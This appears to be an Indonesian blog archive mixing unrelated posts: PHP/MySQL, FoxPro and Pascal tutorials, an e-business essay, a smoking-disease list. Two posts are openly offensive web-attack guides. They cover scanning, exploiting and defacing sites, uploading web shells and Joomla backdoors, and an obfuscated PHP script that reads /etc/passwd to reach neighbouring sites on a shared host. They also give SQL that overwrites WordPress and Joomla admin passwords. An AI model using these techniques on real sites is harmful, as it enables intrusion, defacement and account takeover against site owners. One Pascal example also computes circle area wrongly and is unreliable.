Membuat CMS PHP MySQL Menggunakan Dreamweaver CS4 (Part 1)

Haddehh,, gara2 kmaren HN kena tusbol.  bbrpa hari jd ga bisa diakses HN nya.. skrng malah trit ane jg ilang, cos db hn jg di drop ma attacker MAHOnya..  

krn kmaren ada yg PM ane nanyain trit ane yg tentang CMS PHP MYSQL, yaudah ane bkin lg deh, buat yg udah pernah baca n bosen liadnya.. mending exit aja dr trit cupu ini. 

okeh, udahan curhatnya.
skrng kita mulai dr bkin koneksi ke database dulu. (tentunya udah bkin database sbelumnya)

1. buka dreamweaver, pastiin uda buka file dg ekstensi .php
2. Di menu atas Klik Windows > Databases, maka akan muncul panel Databases.
3. Klik Icon Plus (+) > MySQL Connection

4. Isi beberapa parameter berikut :

Connection name: koneksi, (nama boleh beda, suka2 ente aja)
MySQL Server: localhost, (ini jika kita di localhost)
User name: root, (secara default Xampp gunain username root. Bisa jadi berbeda dengan konfigurasi web server di komputer ente)
Password: , biarin kosong, kecuali ente udah setting password di web server dan database ente.
Database: cms_hn, klik Select untuk memilih database. Klik OK

5. Klik Test, klo muncul tulisan pop-up “Connection was made successfully”. berarti sukses. klik OK skali lg

selesai dah.. sgini dulu yah, ntar sambung lg.. cos sambil kerja nih, ktik2nya.. klo luang ane lanjut lg part 2. 


Sumber

Hubungan E-Business Dengan E-Government

Hubungan E-Business dengan E-Government.

Untuk mengetahui hubungan antara e-business dengan e-goverment  dapat diperoleh dengan cara memfilter istilah-istilah tersebut menggunakan definisi e-business yang telah ditetapkan sebelumnya. Arti istilah-istilah tersebut perlu diketahuiterlebih dahulu, kemudian melihat kesesuaian antara definisinya dengan definisi e-business.

1.      E-Bisnis

§  E-business adalah praktek pelaksanaan dan pengelolaan proses bisnis utama seperti  perancangan produk, pengelolaan pasokan bahan baku, manufaktur, penjualan, pemenuhan pesanan, dan penyediaan servis melalui penggunaan teknologi komunikasi, komputer, dan data yang telah terkomputerisasi. (Steven Alter. Information System: Foundation of E-Business. Prentice Hall. 2002)

§  E-business meliputi semua hal yang harus dilakukan menggunakan teknologi informasi dan komunikasi (ICT) untuk melakukan kegiatan bisnis antar organisasi maupun dari organisasi ke konsumen.

§   E-business adalah mengenai penggunaan teknologi internet untuk melakukan transformasi proses bisnis yang dilakukan. Bentuk e-business yang paling mudah terlihat adalah pembelian barang secara online baik retail maupun grosir.

§  (SamanthaShurety.1999.E-business with Net.Commerce. Prentice Hall)

Definisi e-business menurut IBM adalah sebuah pendekatan yang aman, fleksibel, dan terintegrasi untuk memberikan nilai bisnis yang berbeda dengan mengkombinasikan sistem dan proses yang menjalankan operasi bisnis utama dengan pemanfaatan teknologi internet..

§  (Daniel Amor. 2000. The E-business Revolution. Prentice Hall)

E-business adalah mengelola bisnis di internet yang terkait dengan pembelian, penjualan, pelayanan terhadap konsumen, dan kolaborasi antar rekan bisnis. Istilah e-business pertama kali digunakan salah satunya oleh IBM pada tahun 1997.

§  (MSN Encarta)

Definisi e-business secara sederhana adalah penggunaan internet untuk berhubungan dengan konsumen, rekan bisnis, dan supplier. Penggunaan internet menyebabkan proses bisnis menjadi lebih efisien.

Dalam penggunaan e-business, perusahaan perlu untuk membuka data pada sistem informasi mereka agar perusahaan dapat berbagi informasi dengan konsumen, rekan bisnis, dan supplier dan dapat bertransaksi secara elektronik dengan mereka memanfaatkan internet.

Beda e-business dengan e-commerce adalah ecommerce hanya berupa transaksi secara elektronik di internet sedangkan e-business termasuk juga pertukaran informasi secara online misalnya sebuah perusahaan manufaktur membagi informasi persediaan bahan baku ke supplier, sebuah lembaga keuangan membagi informasi tentang perbankan, credit card, dll dengan konsumen mereka, dan sebagainya.

(Executive Guides: Business To Customer) 

E-bisnis adalah istilah yang digunakan untuk menggambarkan bisnis yang dijalankan pada internet, atau penggunaaan teknologi internet untuk meningkatkan produktivitas dan keutungan dari suatu bisnis.

Ada dua hal dalam memberikan istilah ebisnis dalam perusahaan.

1.      Sebuah konsep yang diterapkan untuk strategi dan operasi.

2.      ebisnis digunakan sebagai sebuah sifat untuk menggambarkan bisnis utama yang beroperasi secara online.

E-business memungkinkan suatu perusahaan untuk berhubungan dengan sistem pemrosesan data internal dan eksternal secara lebih efisien dan fleksibel. E-business juga banyak dipakai untuk berhubungan dengan suplier dan mitra bisnis perusahaan, serta memenuhi permintaan dan melayani kepuasan pelanggan secara lebih baik.

Penggunaan sehari-hari, e-business tidak hanya menyangkut perdagangan elektronik atau e-commerce saja. Dalam hal ini, e-commerce lebih merupakan sub bagian dari e-business, sementara e-business meliputi segala macam fungsi dan kegiatan bisnis menggunakan data elektronik, termasuk pemasaran Internet. Sebagai bagian dari e-business, e-commerce lebih berfokus pada kegiatan transaksi bisnis lewat www atau Internet. Dengan menggunakan sistem manajemen pengetahuan, e-commerce mempunyai goal untuk menambah revenu dari perusahaan.

E-business berkaitan secara menyeluruh dengan proses bisnis termasuk value chain: pembelian secara elektronik (electronic purchasing), manajemen rantai suplai (supply chain management), pemrosesan order elektronik, penanganan dan pelayanan kepada pelanggan, dan kerja sama dengan mitra bisnis. E-business memberi kemungkinan untuk pertukaran data di antara satu perusahaan dengan perusahaan lain, baik lewat web, Internet, intranet, extranet atau kombinasi di antaranya.

2.      E-Goverment

E-government adalah pemanfaatan teknologi informasi dan komunikasi (TIK) guna pelaksanaan pemerintahan yang efisien dan murah, dengan meningkatkan pelayanan masyarakat dengan cara menyediakan sarana publik sehingga masyarakat mudah mendapatkan informasi, dan menciptakan pemerintahan.

E-Government (EG) mengacu kepada penggunaan teknologi informasi oleh pemerintah
untuk bertukar informasi dan pelayanan kepada penduduk, perusahaan-perusahaan, dan
pemerintahan lainnya. Bentuk e-government ada 4 macam, yaitu government-to-customer, government-to-business, government-to-employees, dan government-to-government.

E-Government dilakukan oleh pemerintah dan menggunakan teknologi informasi. Teknologi informasi tersebut digunakan untuk mendukung proses bisnis-nya berupa pertukaran informasi dan pelayanan kepada penduduk, perusahaan, dan pemerintah lainya.

E-government dapat memberikan keutungan berupa kemudahan dalam pembuatan KTP,
pembayaraan pajak, penyediaan data demografi, dan sebagainya. E-Government adalah
adalah e-bisnis yang dilakukan oleh pemerintah untuk menjalankan proses bisnisnya, yaitu pemerintahan dan layanan masyarakat.

Melalui pengembangan e-government dilakukan penataan sistem manajemen dan proses kerja di lingkungan pemerintah dengan mengoptimasikan pemanfaatan teknologi informasi. Pemanfaatan teknologi informasi tersebut mencakup dua aktivitas yang berkaitan yaitu :

1. pengolahan data, pengelolaan informasi, sistem manajemen dan proses kerja secara elektronis.

2. pemanfaatan kemajuan teknologi informasi agar pelayanan publik dapat diakses secara mudah dan murah oleh masyarakat di seluruh wilayah negara.

E-government bertujuan memberikan pelayanan tanpa adanya intervensi pegawai institusi publik dan sistem antrian yang panjang hanya untuk mendapatkan suatu pelayanan yang sederhana. Selain itu e-government juga bertujuan untuk mendukung good govermannce.

Penggunaan teknologi yang mempermudah masyarakat untuk mengakses informasi dapat mengurangi korupsi dengan cara meningkatkan transparansi dan akuntabilitas lembaga publik. E-government dapat memperluas partisipasi publik dimana masyarakat dimungkinkan untuk terlibat aktif dalam pengambilan keputusan/kebijakan oleh pemerintah.

Pemanfaatan Electronic Government

E-government juga diharapkan dapat memperbaiki produktifitas dan efisiensi birokrasi serta meningkatkan pertumbuhan ekonomi. Adapun konsep dari e-government adalah menciptakan interaksi yang ramah, nyaman, transparan dan murah antara pemerintah dan masyarakat (G2C-government to citizens), pemerintah dan perusahaan bisnis (G2B-government to business enterprises) dan hubungan antar pemerintah (G2G-inter-agency relationship), Berikut penjelasannya :

a)      Government to citizens (G2C) merupakan aplikasi pengembangan e-government yang paling umum, yaitu dimana pemerintah membangun dan menerapkan berbagai portofolio teknologi informasi dengan tujuan utama untuk memperbaiki hubungan interaksi dengan masyarakat. Tujuan utamanya untuk mendekatkan pemerintah dengan rakyatnya melalui kanal-kanal akses yang beragam agar masyarakat dapat dengan mudah menjangkau pemerintahnya untuk pemenuhan berbagai kebutuhan pelayanan sehari-hari sepeti Departemen Agama membuka situs pendaftaran bagi meraka yang berminat untuk melangsungkan ibadah haji ditahun-tahun tertentu sehingga pemerintah dapat mempersiapkan kuota haji dan bentuk pelayanan perjalanan yang sesuai.

b)      Government to Business (G2B), salah satu tugas utama dari sebuah pemerintahan adalah membentuk sebuah lingkungan bisnis yang kondusif agar roda perekonomian sebuah negara dapat berjalan sebagaimana mestinya. Dalam melakukan aktivitas sehari-harinya, entity bisnis semacam perusahaan swasta membutuhkan banyak sekali data dan informasi yang dimiliki oleh pemerintah. Terbentuknya relasi yang baik antara pemerintah dengan kalangan bisnis tidak saja bertujuan untuk memperlancar para praktisi bisnis dalam menjalankan roda perusahaannya, namun lebih jauh lagi banyak hal yang dapat menguntungkan pemerintah jika terjadi relasi interaksi yang baik dan eektif dengan pihak swasta. Contohnya para perusahaan wajib pajak dapat dengan mudah menjalankan aplikasi berbasis web untuk menghitung besarnya pajak yang harus dibayarkan ke pemerintah dan melakukan pembayaran melalui internet, proses lelang proyek-proyek pemerintahan yang melibatkan sejumlah pihak swasta dapat dlakukan melalui situs web mulai dari proses pengumuman sampai dengan mekanisme pelaksanaan tender itu sendiri yang berakhir dengan pengumuman pemenang tender.

c)      Government to Government (G2G), meningkatnya kebutuhan bagi Negara-negera untuk saling berkomunikasi secara lebih intens dari hari kehari tidak hanya berkisar ada hal-hal yang berbau diplomasi semata, namun lebih jauh lagi untuk memperlancar kerjasama antar entity-entiti negara seperti pemerintah daerah dengan instansi-instansi terkait dalam melakukan kegiatan pembangunan. Berbagai penerapan yang telah berlangsung seperti hubungan administrasi antara kantor-kantor pemerintah dengan mempergunakan situs web baik ditingkat Kementrian sampai pada Pemerintah daerah.

d)     Government to Employees (G2E) diperuntukkan bagi peningkatan kinerja dan kesejahteraan para pegawai negeri atau karyawan pemerintah yang bekerja disejumlah institusi pelayanan masyarakat seperti sistem pengembangan karir pegawai pemerintah yang selain bertujuan meyakinkan adanya perbaikan kualitas sumber daya manusia, diperlukan juga sebagai penunjang proses mutasi, rotasi dan promosi seluruh karyawan pemerintah, sistem asuransi kesehatan dan pendidikan bagi para pegawai pemerintah yang telah terintegrasi dengan lembaga-lembaga kesehatan (rumah sakit, poliklinik, apotik) dan institusi-institusi pendidikan (sekolah, perguruan tinggi, kejuruan) untuk menjamin tingkat kesejahteraan karyawan beserta keluarganya.

Keuntungan yang diperoleh dari e-government bukan hanya sekedar menyediakan pelayanan online tetapi lebih luas daripada itu, karena kinerja sektor publik juga berkontribusi pada kemajuan ekonomi dan sosial suatu negara.

Di era globalisasi penerapan e-government penting karena telah memodernisasi pemerintahan publik di seluruh dunia dan juga hubungan antara pemerintahan atau negara. Sebagai tambahan selain contoh di Uni Eropa, beberapa negara di Asia bahkan telah menggunakan e-government-nya dalam melaksanakan hubungan bilateral mereka.

Sejalan dengan tujuan yang ingin dicapai cepat atau lambat Indonesia dituntut untuk dapat menerapkan e-government. Pada saat ini e-government merupakan suatu keharusan dalam rangka menciptakan pelayanan publik yang lebih baik.
E-Goverment dilakukan oleh pemerintah dan menggunakan teknologi informasi. teknologi informasi tersebut digunakan untuk mendukung proses bisnisnya berupa pertukaran informasi dan pelayanan kepada penduduk,perusahaan,dan pemerintahaan lainnya. E-Goverment dapat memberikan keuntungan berupa kemudahaan dalam pembuatan KTP ,pembyaran pajak  dan sebagainya.
E-Goverment adalah E-Bisnis yang dilakukan oleh pemerintah untuk menjalankan proses bisnisnya , yaitu pemerintahaan & layanan masyarakat.

bagi pembaca yang mau download file doc nya silahkan di download :D

XDownload File E-Business Free

File E-Business.Doc Server 1 [ 106 KB ] on 4shared Server 2 [ 106 KB ] on ShareBeast     085356045406

Hahaha thx telha mengunjungi blog jelek ini jangan lupa ya like fan page facebook kami untuk dapat info ter-update blog ini

Sekian Terima Kasih Semoga bermanfaat

Program Data Pelanggan Hotel Dengan FoxPro

Assalamualaikum......

baik pada posting ini saya akan membahas cara membuat program data pelanggan hotel dengan fox pro dengan bentuk tampilan formnya

Tutorial Program dapat di download disini

XDownload Free

File Data Pelanggan Hotel Server 1 [ 574 KB ] on 4shared     085356045406

Hahaha thx telha mengunjungi blog jelek ini jangan lupa ya like fan page facebook kami untuk dapat info ter-update blog ini

Sekian Terima Kasih Semoga bermanfaat

Alur Web Attack

Pada hari ini saya akan posting alur web attack buat yang mau blajar silahkan 
1. Scan

Cari tau dimana letak kelemahaan web target. bisa di scan  pakai beberapa tool scanner. diantaranya yang paling terkenal  :
         #Acunetix (Windows)
         # Nikto  (Linux)
Selain bisa mendapatkan bug kita juga bisa mengumpulkan informasi berguna dari web target

2. XPL / SQLi

Setelah menemukan data dari web target . kita coba cari cara untuk meng-exploitasi  bug bug  yang sudah kita temukan dengan tool scanner tadi . dibawah ini daftar situ yang menyediakan macam" exploit  :
      #Exploit Database
      #Packet Strom
      #Injector
      #Hackown

apabila target menggunakan css joomla / wordpress, kita dapat mencari exploit untuk plugin-plugin yang digunakan web target . karena dengan tool scanner di atas kita diberikan informasi seakan-akan web target sudah di bedah keseluruhaanya. jadi kita tau isi folder dari web target , termasuk plugin-plugin apa saja yang digunakan .

Kalau tekni SQL dapat dilihat dari sini

Ebook beserta source website untuk praktek tenik sql download  disini

3. Upload Shell

website sudah bisa di exploitasi dan kita sudah bisa masuk ke halaman admin . sekarang kita tinggal upload sheel sekarang :

-Upload shell di wordpress bisa mengupload plugin or theme yang sudah di sisipi file shell
-Upload Shell di joomla juga sama, cuma  bisa juga menggunakan plugin Ninja Exploit
-Upload shell di CMS biasa bisa melalui upload gambar  , kalau tidak bisa coba shell"nya di rename menjadi shell.php.jpg lalu upload .

Setelah shell berhasil di upload tinggal di panggil letak URL shell"nya dimana.

4.Deface or Jumping

Kalau mau gaya" (Deface) ,cari file index.php atau semacamnya lalu rubah didalam dengan script deface yang kita punya . buat yang malas bikin script deface dapat menggunakan tool DefaceMaker. coba archive website yang sudah kita deface ke situs ini :

#Indonesia Defacer
#Magelang Cyber
#Zona-H

Tidak cukup hanya bisa men-deface satu web saja. coba gunakan teknik jumping untuk masuk ke web yang satu server sama web yang telah kita deface...
caranya....

Script jumping ;

Code:


$x15="\x61rray\137\x70\165\x73h"; $x16="f\x65\157\146"; $x17="fgets"; $x18="\146\x6f\160\145\156"; $x19="in\x69\137g\145\164"; $x1a="is\x5f\x72\145ad\141b\154e"; $x1b="\x73\x65t_t\151\155\x65\137li\155\x69t"; $x1c="\x73\x74\162\x70\157\163"; $x1d="\163\165b\x73t\x72";
($x0b = $x19('safe_mode') == 0) ? $x0b = 'off': die('Error: Safe Mode is On');$x1b(0);@$x0c = $x18('/etc/passwd','r');if (!$x0c) { die(' Error : Can Not Read Config Of Server '); }$x0d = array();$x0e = array();$x0f = array();$x10 = 0;echo "\074b>\x3cfo\x6e\x74\040fa\x63\x65=\126\x65\x72\x64an\141\x20s\151\x7a\x65\075\x33 c\157\154\157\x72\x3d\x54\x65\141\x6c>\x20\123\x65\x72\166\145\x72 \x4a\x75\155\160in\x67\x20\x46\x69\x6ed\145\162 \126er\x73ion\x201.\x30\x20<\057f\157\x6et\x3e<\x2f\x62\x3e<\142\x72\040\x2f\x3e";echo "";echo "\074\142\162\x20\057\076";echo "<\142>\x3c\146o\156t\x20\146\141\x63\145=V\145\x72\144\141\x6ea \x73\x69z\x65=\062\076\104ed\x69\143\141\164\x65\144\x20\124o\x20H\141c\x6b\145\​162-\103\151\x73\141\x64\141\x6e\x65\x2e\x4fr\147\x20<\x2f\146\157n\164\076\074\x2f\142><\x62\x72 \x2f>";echo "\x3c\x66o\x6e\164\040f\141\143e\x3d\126\x65\162\x64\141n\x61\040\163\151z\x65\x3​d\x32\040\x63\157l\157\162\075\x4d\x61ro\157\156>\040\124ha\156ks\x20To\x20#\x20\104\145v\151\x6c\172c\060\x64\x65 \043\040\110\141c\x6be\x72\040\116e\167\x62\x69\145\x20\x23 \130\103\x6f\x64\145 \043 \112a\163a\153om \x23\x20\105\143h\x6f\040\043\040\x59\103L\x20#\x20\x49\x6e\144\x6fn\145sia\x6e\​x20\103\x79b\x65r \x23\040\x61\x6ed\040\x61l\x6c\x20Hack\x65\x72\040F\157\162\x75\155\040\111\x​6e In\144o\x6ee\x73\x69\141 <\057\x66\x6f\x6e\x74\x3e<\x62r /\x3e";echo "\x3c\x62r /\x3e";echo "\x2a\052\052*\052\x2a\x2a**\052\052\052\x2a***\x2a*\x2a\052\x2a\x2a**\052\x2a​*\x2a\052\052\052\052**\052***\x2a*\x2a*\x2a\052*<\x2f\146\157\156t\076\x3c\142r\x20/>";while(!$x16($x0c)){$x11 = $x17($x0c);if ($x10 > 35){$x12 = $x1c($x11,':');$x13 = $x1d($x11,0,$x12);$x14 = '/home/'.$x13.'/public_html/';if (($x13 != '')){if ($x1a($x14)){$x15($x0e,$x13);$x15($x0d,$x14);echo "\x3c\x66on\164\x20f\141\x63\x65\x3dVe\162da\156\141\x20\163\x69ze\0752\040co\154​\x6f\x72=\x52\145\x64\x3e[F\x6f\x75\156d\x20\041\135 $x14\074/\x66\157n\x74\x3e";echo "<\142\x72/\x3e";}}}$x10++;}echo "\074\x66on\x74 \146\141ce\075\x56e\x72\x64\141\x6e\141\040\x73\151z\x65\075\062 \x63\x6flo\162\x3d\124\145\x61\154\076\x2a\x2a\x2a\052\x2a*\052\052*\x2a\052*\x2​a*\052\x2a*\052**\052*\x2a**\052\x2a\x2a**\052*\052\x2a\052\x2a\052**\052**\x2a\​x2a\052";

?>

-Upload Script Jumping
-Rename jadi jumpingfinder.php
-Panggil Letak URL tersebut
-Masuk ke Public_html web target
-Masuk ke Mysql (Cari account Mysql di file config)
-Cari table User
-Update password Admin

#Wordpress

PHP Code:

UPDATE `note_wrdp1`.`wp_users` SET `user_pass` = '$P$BdEAI5H.T0REbjjKME506zOW03nggb0' WHERE `wp_users`.`ID` = 1 LIMIT 1; 

#Joomla

PHP Code:

update `jos_users` set `password`="ece4f1e9e99fe6ca77c100d02cf4aa60" where `username`="admin"; 

5.Rooting
  

Upload Backdoor di Joomla

Muter2 cari tutorial upload Backdoor di Joomla Version 1.5.20 gk nemu2, dagh berbagai cara di coba tapi tetep aja gk bisa. Hmm…jadi inget web korban, waktu itu dia pake Plugins NinjaXplorer.

Ok degh langsung Praktek ja :

1. Pertama Dongdot dolo Plugins’y disini :
http://extensions.joomla.org/extensions/core-enhancements/file-management/4746

2. Upload Plugins yg tadi dagh di Dongdot, Cara’y ente Liat Extensions trs klik Install/Uninstall disitu ada tombolUpload Nahh..Silahkan upload Plugins’y. tunggu beberapa saat sampe install Plugins selesai

3. OK…klo dagh selesai Upload Plugins and selesai install, selanjut’y arahkan mouse ke Tab Components. Nah udagh ke install khan Plugins yg tadi qta Upload, Selanjut’y masuk ke directory Plugins NinjaXplorer Tampilan’y seperti ini :






















4. Selesai Upload Backdoor, nanti backdoor qta berada di :

http://www.target.com/news/backdoor.php
atau
http://www.target.com/backdoor.php

Ok Selesai..

Program Faktur Penjualan Pada FoxPro

Assalamu alaikum 

Sudah lama tidak posting blog nih disini saya akan membahas cara membuat program transaksi penjualan dengan Fox pro yang kebetulan juga menjadi tugas di kampus saya ^^...
baik langsung saja nih saya permasalahaannya pada tutorial ini bentuk form dari program yang akan kita buat seperti gambar berikut :

pada program kali ini kita tidak bisa menginputkan data yang sudah ada sebelumnnya....
ok lanjut buat tmn2 yang mau download tutorialnya...

XDownload File Free

File Transaksi Penjualan Server 1 [ 894 KB ] on 4shared Server 2 [ 894 KB ] on ShareBeast     085356045406

Hahaha thx telha mengunjungi blog jelek ini jangan lupa ya like fan page facebook kami untuk dapat info ter-update blog ini

Sekian Terima Kasih Semoga bermanfaat

Sosrokartono, Manusia Jenius di Era Penajahan

Selama ini kita hanya mengenal R.A. Kartini sebagai pemikir ulung yang membuka gerbang kesetaraan wanita di dunia kaum lelaki. Rupanya pahlawan yang 'harum namanya' ini memiliki seorang kakak yang jenius, seorang wartawan yang poliglot dan berkarir cemerlang di tanah Eropa.

Mungkin, tanpa peran sang kakak, Sosrokartono, boleh jadi nama R.A. Kartini tidak akan pernah 'harum' dan menjadi pahlawan emansipasi wanita di Indonesia.

15 Daftar Penyakit yang Disebabkan Oleh Rokok

Rokok dan asapnya diketahui bisa menyebabkan berbagai macam penyakit yang beberapa diantaranya bahkan terbilang mematikan. Ini dia 15 daftar penyakit yang disebabkan oleh rokok.

Umumnya tidak ada satu pun organ di dalam tubuh yang tidak terpengaruh oleh asap rokok, karenanya hampir semua bagian tubuh bisa rusak oleh rokok. Hal ini karena di dalam satu batang rokok mengandung 4.000 senyawa kimia yang 40 diantaranya termasuk racun (toksik) atau karsinogenik (bisa menyebabkan kanker).

Berikut ini daftar 15 penyakit yang disebabkan oleh rokok :

1. Kanker paru

Diketahui sekitar 90 persen kasus kanker paru diakibatkan oleh rokok. Hal ini karena asap rokok akan masuk secara inhalasi ke dalam paru-paru. Zat dari asap rokok ini akan merangsang sel di paru-paru menjadi tumbuh abnormal. Diperkirakan 1 dari 10 perokok sedang dan 1 dari 5 perokok berat akan meninggal akibat kanker paru.

2. Kanker kandung kemih

Kanker kandung kemih terjadi pada sekitar 40 persen perokok. Studi menemukan kadar tinggi dari senyawa 2-naphthylamine dalam rokok menjadi karsinogen yang mengarah pada kanker kandung kemih.

3. Kanker payudara

Perempuan yang merokok lebih berisiko mengembangkan kanker payudara. Hasil studi menunjukkan perempuan yang mulai merokok pada usia 20 tahun dan 5 tahun sebelum ia hamil pertama kali berisiko lebih besar terkena kanker payudara.

4. Kanker serviks

Sekitar 30 persen kematian akibat kanker serviks disebabkan oleh merokok. Hal ini karena perempuan yang merokok lebih rentan terkena infeksi oleh virus menular seksual.

5. Kanker kerongkongan

Studi menemukan bahwa asap rokok merusak DNA dari sel-sel esofagus sehingga menyebabkan kanker kerongkongan. Sekitar 80 persen kasus kanker esofagus telah dikaitkan dengan merokok.

6. Kanker pencernaan

Meskipun asap rokok masuk ke dalam paru-paru, tapi ada beberapa asap yang tertelan sehingga meningkatkan risiko kanker gastrointestinal (pencernaan).

7. Kanker ginjal

Ketika seseorang merokok, maka asap yang mengandung nikotin dan tembakau akan masuk ke dalam tubuh. Nikotin bersama dengan bahan kimia berbahaya lainnya seperti karbonmonoksida dan tar menyebabkan perubahan denyut jantung, pernapasan sirkulasi dan tekanan darah. Karsinogen yang disaring keluar dari tubuh melalui ginjal juga mengubah sel DNA dan merusak sel-sel ginjal. Perubahan ini mempengaruhi fungsi ginjal dan memicu kanker.

8. Kanker mulut

Tembakau adalah penyebab utama kanker mulut. Diketahui perokok 6 kali lebih besar mengalami kanker mulut dibandingkan dengan orang yang tidak merokok, dan orang yang merokok tembakau tanpa asap berisiko 50 kali lipat lebih besar.

9. Kanker tenggorokan

Asap rokok yang terhirup sebelum masuk ke paru-paru akan melewati tenggorokan, karenanya kanker ini akan berkaitan dengan rokok.

10. Serangan jantung

Nikotin dalam asap rokok menyebabkan jantung bekerja lebih cepat dan meningkatkan tekanan darah. Sedangkan karbon monoksida mengambil oksigen dalam darah lebih banyak yang membuat jantung memompa darah lebih banyak. Jika jantung bekerja terlalu keras ditambah tekanan darah tinggi, maka bisa menyebabkan serangan jantung.

11. Penyakit jantung koroner (PJK)

Sebagian besar penyakit jantung koroner disebabkan oleh rokok dan akan memburuk jika memiliki penyakit lain seperti diabetes melitus.

12. Aterosklerosis

Nikotin dalam asap rokok bisa mempercepat penyumbatan arteri yang bisa disebabkan oleh penumpukan lemak. Hal ini akan menimbulkan terjadinya jaringan parut dan penebalan arteri yang menyebabkan arterosklerosis.

13. Penyakit paru obstruktif kronik (PPOK)

Kondisi ini menyebabkan aliran darah terhalangi sehingga membuat seseorang sulit bernapas, dan sekitar 80 persen kasus PPOK disebabkan oleh rokok. Kondisi ini bisa menyebabkan terjadinya emfisema (sesak napas akibat kerusakan pada kantung udara atau alveoli) dan bronkitis kronis (batuk dengan banyak lendir yang terjadi terus menerus selama 3 bulan).

14. Impotensi

Bagi laki-laki berusia 30-an dan 40-an tahun, maka merokok bisa meningkatkan risiko disfungsi ereksi sekitar 50 persen. Hal ini karena merokok bisa merusak pembuluh darah, nikotin mempersempit arteri sehingga mengurangi aliran darah dan tekanan darah ke penis. Jika seseorang sudah mengalami impotensi, maka bisa menjadi peringatan dini bahwa rokok sudah merusak daerah lain di tubuh.

15. Gangguan medis lainnya

Beberapa gangguan medis juga bisa disebabkan oleh rokok seperti tekanan darah tinggi (hipertensi), gangguan kesuburan, memperburuk asma dan radang saluran napas, berisiko lebih tinggi mengalami degenerasi makula (hilangnya penglihatan secara bertahap), katarak, menjadi lebih sering sakit-sakitan, menimbulkan noda di gigi dam gusi, mengembangkan sariawan di usus serta merusak penampilan

Sumber

Tutorial Program Pascal Part 2

Program Penentuan Nilai Dengan IF Kondisi

Coding Program

program project1; uses crt; var nama,ket:string; nobp:string[16]; na:real; nh:char; begin textcolor(blue); writeln; writeln('Program Konversi Nilai'); writeln('----Jefri Fernando----'); writeln; write ('Input Nomor BP : '); readln(nobp); writeln; write ('Input Nama : '); readln(nama); writeln; write ('Input Nilai angka : '); readln(na); if na>=80 then begin nh:='A'; ket:='Sangat Baik'; end else if na>=65 then begin nh:='B'; ket:='Baik'; end else if na>=55 then begin nh:='C'; ket:='Cukup'; end else if na>=40 then begin nh:='D'; ket:='Kurang'; end else begin nh:='E'; ket:='Sangat Kurang'; end; write (' Input Nilai Hurf : '); write (NH); writeln; write (' Keterangan : '); write (ket); readln; end.

Program Perulangan Konversi Suhu

Coding Program

program project1; uses crt; var fh,rm,kv:real; cl:integer; begin clrscr; writeln (' Konversi Suhu Celsius '); writeln (' ~~~~~~~~~~~~~~~~~~~~~ '); writeln (' Celsius Fahrenheit Reamur Kelvin '); for cl:=20 to 30 do begin fh:=cl*1.8+32; rm:=cl*0.8; kv:=cl+273.15; write (' ',cl,' ',fh:0:2, ' ',rm:0:2, ' ',kv:0:2); writeln; end; writeln; write ('Yes,Berhasil......!'); readln; end.

Perulangan Bilangan Yang abis dibagi 5 dari 100 sampai 200

Coding Program

program project1; uses crt; var x:integer; begin for x:=100 to 200 do begin if x mod 5 = 0 then write (x:4); end; readln; end.

Program Pascal Perulangan Bilangan ganjil dari 15 sampai 25

program project1; uses crt; var x:integer; begin writeln('Menampilkan Bilangan Ganjil mulai 15 s/d 25'); for x:=15 to 25 do begin if x mod 2 = 1 then write (x:3); end; readln; end.

Semoga Bermanfaat

Tutorial Program Pascal Part 1

Selamat datang di postingan ini "Tutorial Program Pascal" yang mungkin ada beberapa Part jadi disini saya akan share tutorial program Pascal Luas dan Keliling Lingkaran,Menentukan Bilangan Ganjil & Genap,Menentukan Bilangan Positif Negatif

Program Pascal Luas dan Keliling Lingkaran

Coding Program

program project1; uses CRT; var r,p,lbr:integer; l,k:real; procedure noa; begin clrscr; textcolor(yellow); writeln; writeln ('Menghitung Luas dan Keliling Lingkaran'); writeln ('------------Jefri Fernando-----------'); writeln; write ('Masukan Radius Lingkaran : '); readln(r); l:=0.5*3.14*r*r; k:=2*3.14*r; writeln; write ('Luas Lingkaran dengan raduis ',r);write(' adalah : ',l:0:2); writeln; write ('Keliling Lingkaran dengan raduis ',r);write(' adalah : ',k:0:2); writeln; write ('Tekan Enter Untuk Melanjutkan');readln; end; procedure nob; begin clrscr; textcolor(green); writeln; writeln ('Menghitung Luas dan Keliling Persegi Panjang'); writeln ('------------- Jefri Fernando --------------'); writeln; write ('Masukkan Panjang : '); readln(p); write ('Masukkan Lebar : '); readln(lbr); l:=p*lbr; writeln; write ('Luas Persegi panjang dengan panjang ',p);write(' dan lebar ',lbr);write(' Adalah ',l:0:0); writeln; k:=2*(p+lbr); write ('Keliling Persegi panjang dengan panjang ',p);write(' dan lebar ',lbr); write(' Adalah ',k:0:0); writeln; write ('Tekan Enter Untuk Melanjutkan'); readln; end; begin clrscr; noa;nob;noa;nob;noa;nob;noa;nob;noa;nob;noa;nob; noa;nob;noa;nob;noa;nob;noa;nob;noa;nob;noa;nob; end.

Program Menentukan Bilangan Ganjil dan Genap

Coding Program 

program project1; uses crt; var bil:integer; ket,y:string; begin textcolor(yellow); clrscr; writeln; ket:='y'; writeln(' Program By Jefri Fernando '); writeln('Menentukan Jenis Sebuah Bilangan'); writeln; write(' Masukkan sebuah Bilangan : '); readln(bil); if bil mod 2=0 then ket:='genap' else ket:='ganjil'; write(' Bilangan yang di inputkan adalah : ',ket); readln ; end.

Program Menentukan Bilangan Positif dan Negatif

Coding Program

program project1; uses crt; var bil:integer; ket:string; begin clrscr; textcolor(green); writeln; writeln ('Menentukan Jenis Sebuah Bilangan'); writeln ('---------Jefri Fernando---------'); writeln; write ('Masukkan Sebuah Bilangan : '); readln(bil); if bil>=0 then ket:='positif' else ket:='negatif'; writeln; writeln ('Bilangan yang di inputkan adalah : ',ket); readln; end.

Semoga Bermanfaat